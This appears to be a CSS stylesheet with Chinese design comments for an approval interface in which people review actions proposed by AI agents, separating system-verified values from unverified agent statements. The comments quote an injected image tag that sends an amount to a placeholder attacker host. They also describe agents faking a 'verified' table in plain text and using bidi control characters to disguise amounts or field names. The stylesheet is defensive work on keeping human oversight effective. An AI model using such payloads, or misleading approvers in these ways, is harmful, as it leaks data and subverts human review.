/* ═══════════════════════════════════════════════════════════════
   TOWER 客户端样式
   令牌唯一真源是 DESIGN.md。改这里之前先改那里，否则四份镜像会漂移。
   ═══════════════════════════════════════════════════════════════ */
:root{
  --bg:#FAFAF9; --surface:#FFFFFF; --sidebar:#F4F3F1;

  /* 中文层级靠 alpha 阶梯，不靠字重 */
  --t1:rgba(23,23,23,.92);
  --t2:rgba(23,23,23,.62);
  --t3:rgba(23,23,23,.40);
  --t4:rgba(23,23,23,.24);
  /* 安全通道专用（R2）。--t3 是 2.55:1，安全文字看不清等于安全通道不存在。 */
  --t-sec:rgba(23,23,23,.62);          /* 5.01:1 PASS */

  --rule:rgba(23,23,23,.10);
  --rule-strong:rgba(23,23,23,.85);
  --claim-bg:rgba(23,23,23,.035);
  --claim-border:rgba(23,23,23,.45);   /* 3.13:1 PASS */
  --claim-bg-solid:#F2F2F1;

  --ink:#1A1A1A;                       /* 主按钮 —— 无彩色（R4） */
  --amber:#B45309;                     /* 界面上唯一的彩色，白名单制 */

  --sans:"IBM Plex Sans","PingFang SC","Hiragino Sans GB","Noto Sans SC","Microsoft YaHei",sans-serif;
  --mono:"IBM Plex Mono","SFMono-Regular",Menlo,monospace;

  --s1:4px; --s2:8px; --s3:12px; --s4:16px; --s5:24px; --s6:32px;
  --r-sm:4px; --r-md:6px; --r-lg:10px;
  --dur-micro:150ms; --dur-short:200ms;
  --ease-enter:cubic-bezier(0,0,.2,1);
}
@media (prefers-reduced-motion:reduce){
  :root{--dur-micro:0ms;--dur-short:0ms}
  *,*::before,*::after{animation-duration:.01ms!important;transition-duration:.01ms!important}
}

*{box-sizing:border-box;margin:0;padding:0}
html,body{height:100%}
body{background:var(--bg);color:var(--t1);font-family:var(--sans);
     font-size:14px;line-height:22px;letter-spacing:0;-webkit-font-smoothing:antialiased;
     display:flex;flex-direction:column;overflow:hidden}
button{font:inherit;color:inherit;cursor:pointer;border:none;background:none}
:focus-visible{outline:2px solid var(--ink);outline-offset:2px;border-radius:2px}
[hidden]{display:none!important}

/* ═══ 降级环境 —— R2 必须在这些模式下依然成立 ═══ */
@media (forced-colors:active){
  .voucher{border:1px solid CanvasText;border-left:3px solid CanvasText}
  .claim{border:2px dashed CanvasText}
  .tb .rule{border-top:3px solid CanvasText}
  .kv .src,.tb .above,.tb .below{color:CanvasText}
}
@media print{
  .devbar,.actions{display:none!important}
  .cscroll{overflow:visible!important}
  /* 信任边界与 Agent 陈述绝不允许被分页拆开 ——
     否则 agent 文本会出现在一张没有边界标识的新页上。 */
  .tb{break-after:avoid;page-break-after:avoid}
  .claim{break-before:avoid;page-break-before:avoid;break-inside:avoid}
  .voucher{break-inside:avoid}
}

/* ═══════════════════ 开发身份条 ═══════════════════
   企微 snsapi_base 静默授权尚未实现。这条一望即知是脚手架，
   刻意做得不像产品 UI —— 免得有人以为登录已经做完了。 */
.devbar{flex:none;display:flex;align-items:center;gap:var(--s2);flex-wrap:wrap;
        padding:7px 14px;background:#1A1A1A;color:rgba(255,255,255,.75);
        font-size:12px;line-height:18px}
.devbar .wm{font-family:var(--mono);font-weight:600;letter-spacing:.06em;
            font-size:13px;color:#fff;margin-right:var(--s2)}
.devbar .lb{color:rgba(255,255,255,.45)}
.devbar .sp{flex:1}
.devbar button{padding:3px 9px;border-radius:var(--r-sm);
               background:rgba(255,255,255,.10);color:rgba(255,255,255,.75);white-space:nowrap}
.devbar button[aria-current="true"]{background:#fff;color:#1A1A1A;font-weight:600}
.devbar .warn{font-family:var(--mono);font-size:11px;color:#E8B37A}

/* 整页不滚，只有指定的容器滚。这样「批准执行」永远在屏上固定位置，
   而信任边界与 agent 陈述在它上方的滚动区里 —— 按钮不可能先于边界出现。 */
.wrap{flex:1;min-height:0;width:100%;max-width:560px;margin:0 auto;
      display:flex;flex-direction:column}
#inbox{flex:1;min-height:0;overflow:auto;padding:var(--s4)}
#card{flex:1;min-height:0;display:flex;flex-direction:column}
.cscroll{flex:1;min-height:0;overflow:auto;padding:var(--s4) var(--s4) 0}
.gray .wrap{filter:grayscale(1)}   /* R2 自测开关 */

/* ═══════════════════ 待办列表 ═══════════════════ */
.ptitle{font-size:20px;line-height:30px;font-weight:600;margin-bottom:2px}
.psub{font-size:13px;line-height:20px;color:var(--t2);margin-bottom:var(--s4)}

.item{display:block;width:100%;text-align:left;background:var(--surface);
      border:1px solid var(--rule);border-radius:var(--r-md);
      padding:var(--s3);margin-bottom:var(--s2);
      transition:border-color var(--dur-micro) var(--ease-enter)}
.item:hover{border-color:rgba(23,23,23,.28)}
.item .top{display:flex;justify-content:space-between;align-items:baseline;gap:var(--s2)}
.item .at{font-family:var(--mono);font-size:12px;line-height:18px;color:var(--t3)}
.item .ag{font-size:13px;line-height:20px;color:var(--t2)}
.item .cq{font-size:15px;line-height:24px;font-weight:600;margin-top:var(--s1)}
.item .meta{font-family:var(--mono);font-size:11px;line-height:17px;color:var(--t-sec);margin-top:var(--s1)}
.empty{padding:var(--s5) 0;color:var(--t2);font-size:14px}

/* ═══════════════════ 审批卡片 ═══════════════════ */
.back{font-size:13px;line-height:20px;color:var(--t2);padding:0 0 var(--s3)}
.chead{display:flex;justify-content:space-between;align-items:baseline;
       gap:var(--s2);margin-bottom:var(--s3)}
.chead .l{font-size:13px;line-height:20px;color:var(--t3)}
.chead .r{font-family:var(--mono);font-size:13px;line-height:20px;font-weight:600;color:var(--amber)}

/* R5 —— 首屏最显著的两个元素：一句话后果（22px）与已核验金额（32px），
   两者都由系统生成。金额更大是有意的：它是「该不该批」的直接答案。
   R5 禁止的是「最大的字是动作分类，或来自 agent 的措辞」。 */
.consequence{font-size:22px;line-height:34px;font-weight:600}
.atype{font-family:var(--mono);font-size:13px;line-height:20px;color:var(--t3);margin:2px 0 var(--s4)}

/* ─── 系统核验凭证 ───
   R2 通道2：实线边框 + 3px --rule-strong 左竖条，全圆角（竖条跟随形状）
   R2 通道3：纯白底
   结构性信任标记用 --rule-strong，动作按钮用 --ink —— 两者不抢同一个最深色。 */
.voucher{border:1px solid var(--rule);border-left:3px solid var(--rule-strong);
         border-radius:var(--r-md);background:var(--surface);overflow:hidden}
.vhead{display:flex;justify-content:space-between;align-items:baseline;gap:var(--s2);
       padding:9px var(--s3);border-bottom:1px solid var(--rule)}
.vhead .l{font-size:13px;line-height:20px;font-weight:600}    /* R2 通道4：标签措辞 */
.vhead .r{font-family:var(--mono);font-size:11px;line-height:17px;color:var(--t3)}
.vsum{display:flex;justify-content:space-between;align-items:baseline;gap:var(--s2);
      padding:var(--s3);border-bottom:1px solid var(--rule)}
.vsum .k{font-size:13px;color:var(--t2)}
.vsum .vw{text-align:right;min-width:0}
.vsum .v{display:block;font-family:var(--mono);font-size:32px;line-height:40px;
         font-weight:600;font-variant-numeric:tabular-nums}
.vsum .src{display:block;font-size:11px;line-height:16px;color:var(--t-sec)}

.kv{display:flex;justify-content:space-between;align-items:baseline;gap:var(--s3);
    padding:10px var(--s3);border-bottom:1px solid var(--rule)}
.kv:last-child{border-bottom:none}
.kv .k{font-size:13px;color:var(--t2);flex:none}
.kv .vw{text-align:right;min-width:0}
/* display:block 是必需的，不是样式偏好：不设它，来源标注会内联挤在值后面
   （「128,000 JPY来自 ERP」），R2 的第 5 通道在视觉上就失效了。 */
.kv .v{display:block;font-family:var(--mono);font-size:16px;line-height:25px;
       font-weight:600;font-variant-numeric:tabular-nums;word-break:break-word}
.kv .src{display:block;font-size:11px;line-height:16px;color:var(--t-sec)}  /* R2 通道5 */

/* 证据不可用（工程文档 §1.3.4）。
   关键设计：**打破等宽数字的模式**。凭证里每个值都是 mono tabular，
   这一项用无衬线体本身就是「这不是一个数值」的信号 —— 灰度下同样成立。
   绝不渲染成 0 / − / 空串：那会让人读成「这 agent 从没做过」，判断方向反转。 */
/* 单位后缀。比数值小、颜色更浅，但必须与数值同一行 ——
   换行的话放大的头条数字会和它的单位被拆开，而「3,980」和「-3.2」
   在没有单位时含义完全不同。 */
.v .unit{font-family:var(--sans);font-weight:400;color:var(--t2)}
.kv .v .unit{font-size:12px}
.vsum .v .unit{font-size:15px}

/* 后果句里含 agent 自报值时的标注。琥珀白名单：系统在提醒有处不对劲。
   非色觉通道：左竖条 + 字重 600。 */
.cqclaim{position:relative;padding-left:10px;margin-top:var(--s2);
         font-size:12px;line-height:18px;font-weight:600;color:var(--amber)}
.cqclaim::before{content:"";position:absolute;left:0;top:2px;bottom:2px;
                 width:2px;background:var(--rule-strong)}

.kv.na,.vsum.na{position:relative;padding-left:calc(var(--s3) + 4px)}
.kv.na .v,.vsum.na .v{font-family:var(--sans);font-size:14px;line-height:22px;
                      font-weight:400;color:var(--t-sec);font-variant-numeric:normal}

/* 证据在审批期间变化（§1.3.3）。琥珀白名单：系统证实区的异常标记。
   非色觉通道三条：左侧深色竖条 + 字重 600 + 旧值删除线。 */
.kv.chg,.vsum.chg{position:relative;padding-left:calc(var(--s3) + 4px)}
.kv.chg .v,.vsum.chg .v{color:var(--amber);font-weight:600}
.kv.chg s,.vsum.chg s{color:var(--t3);font-weight:400;margin-right:4px;font-size:.85em}

/* 行级标记内缩：直接用 border-left 会与凭证自身的 3px 边框叠成 5px 鼓包。 */
.kv.na::before,.kv.chg::before,.vsum.na::before,.vsum.chg::before{
  content:"";position:absolute;left:6px;top:9px;bottom:9px;width:2px;background:var(--rule-strong)}

/* ─── 信任边界（R1） ───
   grid 三行：线上方右对齐「以上　系统独立核验」，线本身带居中标签，
   线下方左对齐「以下　Agent 自述…」。三者绝不能挤到同一行。 */
.tb{display:grid;gap:var(--s1);margin:var(--s4) 0 0}
.tb .above{text-align:right;font-size:11px;line-height:17px;color:var(--t-sec)}
.tb .rule{position:relative;border-top:2px solid var(--rule-strong);height:0;margin:9px 0}
.tb .rule span{position:absolute;left:50%;top:-11px;transform:translateX(-50%);
               background:var(--bg);padding:0 var(--s2);
               font-size:13px;line-height:20px;font-weight:600}
.tb .below{font-size:11px;line-height:17px;color:var(--t-sec)}

/* ─── Agent 陈述区 ───
   R2 通道2：虚线；通道3：中性灰底；通道4：标签写「未经核验」。 */
.claim{border:1px dashed var(--claim-border);border-radius:var(--r-md);
       background:var(--claim-bg);overflow:hidden;margin:var(--s2) 0 var(--s4)}
/* R1 第二半：标头必须粘住。只要视口里有 agent 文本，屏上就必定有一行写着「未经核验」。
   不粘的话，agent 用纯文本排一个假的「系统核验」表格，滚动中的人看到的
   就是一份「已核验凭证」配一个批准按钮 —— R3 的富媒体拦截对纯文本完全无效。 */
.claim .ch{position:sticky;top:0;z-index:2;background:var(--claim-bg-solid);
           padding:8px var(--s3);border-bottom:1px dashed var(--claim-border);
           font-size:12px;line-height:18px;color:var(--t2);
           display:flex;align-items:center;gap:6px}
.claim .ch .lock{font-family:var(--mono);font-size:11px}
.claim .body{padding:var(--s3)}
/* R3 第 2 层在 JS 里（只用 textContent）。这里是第 3 层纵深，不是防护本身：
   display:none 的 <img> 在 Chrome / Firefox 里仍然发起网络请求，
   注入 <img src="//attacker/p?amt=1280000"> 照样能把金额外传。
   真正挡住它的是服务端纯文本化 + textContent 渲染 + CSP。 */
.claim img,.claim video,.claim iframe,.claim svg,.claim canvas,
.claim audio,.claim object,.claim embed,.claim source,.claim picture{display:none!important}
.claim *{background-image:none!important}
/* U+202E 等方向控制字符能视觉重排金额与 SKU。 */
/* .ck 也要隔离：这一轮把陈述区的字段名从「系统维护的中文名」换成了
   agent 原文，隔离却没跟上。指纹白名单之外的键会被原样存下并展示，
   键名内容不受任何约束 —— 一个以 RLO 开头的键名会让屏上读到的字段名
   和实际发出的不是同一个。 */
.claim .body,.claim .cv,.claim .ck{unicode-bidi:isolate}
.claim .crow{display:flex;justify-content:space-between;align-items:baseline;
             gap:var(--s3);padding:3px 0}
.claim .ck{font-size:13px;line-height:20px;color:var(--t2);flex:none}
.claim .cv{font-size:15px;line-height:24px;text-align:right;
           word-break:break-word;min-width:0;white-space:pre-wrap}

/* ═══════════════════ 操作条 ═══════════════════ */
/* flex:none —— 不滚。不是 position:sticky：sticky 会让操作条浮在
   还没滚到的内容之上，于是按钮和 agent 陈述叠在一起。 */
.actions{flex:none;background:var(--bg);
         padding:var(--s3) var(--s4) var(--s4);
         border-top:1px solid var(--rule)}
/* R5：后果句在操作条上方常驻，滚动时不消失。 */
.actions .cq{font-size:13px;line-height:20px;color:var(--t2);margin-bottom:var(--s3)}
.btns{display:flex;flex-direction:column;gap:var(--s2)}
/* R4：批准 = 无彩色深墨实心；拒绝 = 白底描边。界面上不出现任何绿色，
   也不用红色填充拒绝 —— 拒绝是保护动作，不该看起来像危险操作。
   红绿会训练肌肉记忆，人会不看内容直接点绿的（OWASP: Overwhelming HITL）。 */
.btn{display:block;width:100%;padding:13px var(--s4);border-radius:var(--r-md);
     font-size:17px;line-height:24px;font-weight:600;text-align:center;
     transition:opacity var(--dur-micro) var(--ease-enter)}
.btn.primary{background:var(--ink);color:#fff}
.btn.secondary{background:var(--surface);color:var(--t1);border:1px solid var(--rule-strong)}
.btn:disabled{opacity:.32;cursor:not-allowed}
.btn.ghost{background:none;border:1px solid var(--rule);font-size:14px;
           line-height:22px;font-weight:400;padding:9px var(--s3);color:var(--t2);
           margin-top:var(--s2)}

/* 禁批说明。琥珀白名单：「系统查到了不对劲的东西」。
   非色觉通道：左竖条 + 字重 600 的首句。 */
.blocked{position:relative;padding:10px var(--s3) 10px calc(var(--s3) + 6px);
         margin-bottom:var(--s3);background:var(--surface);
         border:1px solid var(--rule);border-radius:var(--r-md);
         font-size:13px;line-height:21px;color:var(--t2)}
.blocked::before{content:"";position:absolute;left:0;top:0;bottom:0;width:3px;
                 background:var(--rule-strong);border-radius:var(--r-md) 0 0 var(--r-md)}
.blocked .bt{display:block;font-weight:600;color:var(--amber)}
.blocked ul{margin:var(--s1) 0 0 18px}

.toast{position:fixed;left:50%;bottom:24px;transform:translateX(-50%);
       max-width:calc(100% - 32px);background:var(--ink);color:#fff;
       padding:10px var(--s4);border-radius:var(--r-md);
       font-size:13px;line-height:21px;z-index:20}

.spin{padding:var(--s5) 0;color:var(--t3);font-size:13px}

@media (min-width:900px){
  .wrap{max-width:720px;padding:var(--s5) var(--s4)}
  .btns{flex-direction:row-reverse}
  .btn{width:auto;flex:1}
}
